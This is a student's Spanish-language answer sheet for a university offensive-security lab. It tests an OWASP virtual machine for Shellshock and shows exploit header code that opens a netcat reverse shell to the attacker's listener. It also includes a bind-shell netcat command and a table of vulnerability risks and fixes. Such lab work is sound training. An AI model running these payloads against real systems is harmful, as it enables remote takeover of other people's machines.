

Práctico 0:
Seguridad Ofensiva
Licenciatura en Ciencias de la Computación
FAMAF

Iker M. Canut

2020

1. La dirección IP de la máquina virtual Kali es 192.168.1.155 (Bridged).
2. La dirección IP de la máquina virtual OWASP es 192.168.1.133 (Bridged).
Tras ejecutar `env x='() { :; }; echo vulnerable' bash -c "echo test"` vemos que es vulnerable a Shellshock.
3. Luego de ejecutar todas las instrucciones mostradas, se procede a modificar el código para poder así, con ayuda de netcat, conseguir una reverse shell.

```
#The following variables are defined as headers for our POST request.

Command = "/bin/ping -c1 " + LISTENER
Command = "/bin/nc.traditional " + LISTENER + " 4444 -e /bin/bash"
#If testing against OWASPBWA, change nc to nc.traditional. Thanks
USER_AGENT = "() { :; }; " + Command
Cookie = "() { :; }; " + Command
Host = "() { :; }; " + Command
Referer = "() { :; }; " + Command
```

Se adjunta una imagen llamada shell.png donde se muestra la shell conseguida.

4.

	ENLACE 1	ENLACE 2	ENLACE 3
Cual es el riesgo?	RCE (remote code execution: execute arbitrary code on victim's computer). "0day" vulnerability.	Perdida de confidencialidad.	Execute arbitrary code via a crafted environment.
Requerimientos para la explotación	Tener instalado Zoom en Windows 7 y realizar una accion tipica, como abrir un documento.	Tener GnuTLS con versiones entre la 3.6.4 < 3.6.14.	GNU Bash 1.14 < 4.3
Como mitigar la vulnerabilidad?	Se podria considerar la posibilidad de instalar el parche de 0patch aunque, si bien es reconocido internacionalmente, aplicar parches desconocidos a binarios de Windows no me parece una buena idea. De todas maneras, Zoom saco una nueva version en donde arreglan este error al dia siguiente, por lo que actualizar el programa solucionaria esta vulnerabilidad.	Actualizar.	Actualizar Bash

5. El diccionario con los alias se llama ekoparty.txt. Además, se agregan los nombres completos de las personas.
6. Para analizar el comando `nc 143.0.100.198 1099 | sudo tar -xf -` comenzaremos con la parte de netcat, es decir, nc. Esto se usa generalmente para crear una bind shell, donde el atacante se conecta a la victima con IP 143.0.100.198 al puerto 1099. En la victima se deberia ejecutar `nc -nlvp 1099 -e /bin/sh`. Luego, la salida de este comando se redirecciona al comando tar, el cual con los parametros xf extrae un archivo -.